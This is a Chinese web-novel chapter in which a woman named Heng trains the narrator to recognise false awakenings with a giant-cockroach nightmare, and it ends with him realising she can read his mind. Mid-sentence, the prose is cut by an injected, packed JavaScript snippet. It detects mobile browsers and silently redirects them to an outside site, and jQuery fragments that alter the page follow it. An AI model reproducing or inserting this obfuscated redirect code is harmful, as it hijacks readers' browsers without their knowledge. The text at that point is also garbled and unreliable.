但碍于她刚刚吐槽我“一个大男人居然怕蟑螂”,我决定用沉默掩饰我的尴尬。
“它还没跟你互动,你就吓醒了,”她睨我一眼,“浪费我脑力,建了个这么精细的模。”
这玩意还要跟我互动?幸好我被吓醒了。
我持续沉默,她持续不爽,我和她就这么僵持着。刚才蟑螂大腿乱舞的景象始终在我脑海里挥之不去,虽然我今天心率平稳,但身体受的刺激不大,心灵受的伤害很大,我干脆就赖在躺椅上不动了。珩在旁边站着,站了一会儿她看向我,我留意到她的眉头很快地抽了一下,之后她好像发现了什么,然后往我走了过来。
她忽然发问:“你还心慌吗?”
我下意识伸手摸了下自己心口的位置,心率很正常,我说:“还行啊。”
她又问:“你上次被吓醒的时候心慌明显吗?”
“挺明显的,可能这次的蟑螂还没那么吓人?”我见她好像是在担心我,我又说了一句,“我现在还好,没什么事。”
她不说话了,只是莫名其妙地靠近我。她看起来是那种不喜欢别人靠近,甚至有点高冷的那种人,我一直都不自觉地和她保持一定的距离。但她今天好奇怪,她走得很近,之后甚至弯腰,脸和我只有几十厘米的距离。她的眼睛一直盯着我的脖子看,我不敢动,也不敢问,然后我看着她伸手来摸我的脖子,她的手特别冰,碰到我的那一刻我不由得瑟缩了一下,但我没躲她。
她冰凉的手指就压在我的颈动脉上,我能感觉到我的动脉一下一下均匀而有力地撞击她的手指。
她靠得更近了,几乎要贴上我的脸,我想往后退,但退无可退,我只好偏开脸。
“你不觉得有点奇怪吗?”她离得太近了,说话的时候声音和气息都逼到我面前,“你现在所看到,所感受到的一切。”
“是,是有点……”
“所以直到现在,你还没有怀疑过,你现在还在梦里?”
“——啊?”
“给你看一下我辛苦建的模吧,”她莫名地在我耳边说道,“那只大蟑螂。”
我没来得及反应过来她说的话是什么意思,贴在我身上的她就变成了那只腿有我人粗的大蟑螂,我听到了它在我身上摆动双腿时昆虫外骨骼摩擦发出的脆脆的嘎吱声,听到它翅膀高频振动时的嗡嗡声,但因为它的翅膀实在是太大了,它动起来的时候我周围在刮风。我连大喊都喊不出来,直接逃命一般从梦里惊醒。
醒来的时候场景没变,我躺在躺椅上,珩在我面前,幸好蟑螂不在。但她该死的恶作剧让我现在一看见她就会想起大蟑螂。没救了。她的形象成功在我的大脑里形成了联想,直直通向超级加倍大蟑螂。
“辨别能力评分,0。”她的嘴角现在是一个不高兴的弧度,“你自己摸摸,你被吓醒的时候心率是多少?”
我都不用摸,心脏都跳喉咙里了,至少150。
“这是最经典的迷惑梦,梦见从噩梦里惊醒,人就会放松警惕,然后轻易地相信接下来的一切是现实。”
她看我一眼,她虽然有些失望,但幸好没有完全失去耐心:“今天就到这里,看来你是真的全忘了,起来吧。”
我顶着仍在狂跳的心脏,浑浑噩噩地跟在她后面,刚刚几个乱七八糟的梦把我吓得现在还心有余悸,一想起那只蟑螂……我今晚回家第一件事就是搞卫生,去他妈的蟑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957362|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
螂,现在我这脆弱的心灵真是见不得任何一只蟑螂。
珩在前面走,我跟着她一路穿过走廊,穿过花园,又准备回到社区活动中心入口的长者饭堂。时间已是下午四五点,饭堂里一群百无聊赖的阿伯阿婆已经在等待开饭。我在走神,她走着走着忽然回头,我被她整得草木皆兵,一有风吹草动我就疑心她要变成大蟑螂,我直接被她吓了一跳,人没反应过来,脚已经后退一步。我一脸惊恐地看着她。
漂亮卷发阿姨就在外面,显然她是知情者之一,她一看我这架势,就知道我刚被珩精神上虐待完,她没忍住在一边偷笑。
“看来你很怕蟑螂啊。”
她不是人,她还挖苦我!
我瞪她一眼,她眼里笑意更深,看起来更开心了。
“放心,现在你醒了,真的。”她说,“你需要重头训练,我看看,你周一到周三是上午十点的课,周四周五是下午三点的课,周二带一节四点十分的体育拓展,嗯,你中午来?”
我四岁的脑子果然是很不好用,我听完就点头,点完头才忽然想起来一件可怕的事。
她为什么知道我的课表?
……
回家的时候我先是搞了次彻底的清洁,之后我一身臭汗地去洗澡。洗完澡我筋疲力竭,往沙发上一瘫,挂着电视里播的电影在走神。电影里的男女主角在亲嘴,我想起了那天我的春梦。那天他们都在做春梦,我在做噩梦,我还不止做一天的噩梦,我一连做了好多天的噩梦,今天还被大蟑螂骑脸,不对,被大蟑螂包裹全身。电视里人类唇舌交缠时发出的些许水声,和画面中若隐若现的一点身体曲线,在我混乱的大脑里打了个手电筒,它把相关的脑区照亮了,于是我除了那一小片区域,什么都想不起来。
然后我来了兴致,想找点什么东西看看,正爬起来要开电脑的时候,手电筒里的白光中,珩忽然出现。
我想起了我的课表。难怪她轻易地知道路迢是语文老师,知道我什么时候上课什么时候下课,因为她随随便便就能像翻书一样翻我的脑子看。
这也就意味着,我在她那里没有秘密,今天我看片,明天她看片,我看什么片,她就看什么片。
被折磨了十几天,难得恢复的一点兴致,瞬间就像下雨时候上坟烧香,风一吹雨一淋,什么都灭了。我把电脑一合,又瘫倒在沙发上。
电视里的两个主角还在亲。亲吧亲吧你们就亲吧!有本事接着拍!有本事给我看!我看完,明天我就带给珩看。
真是气死我了。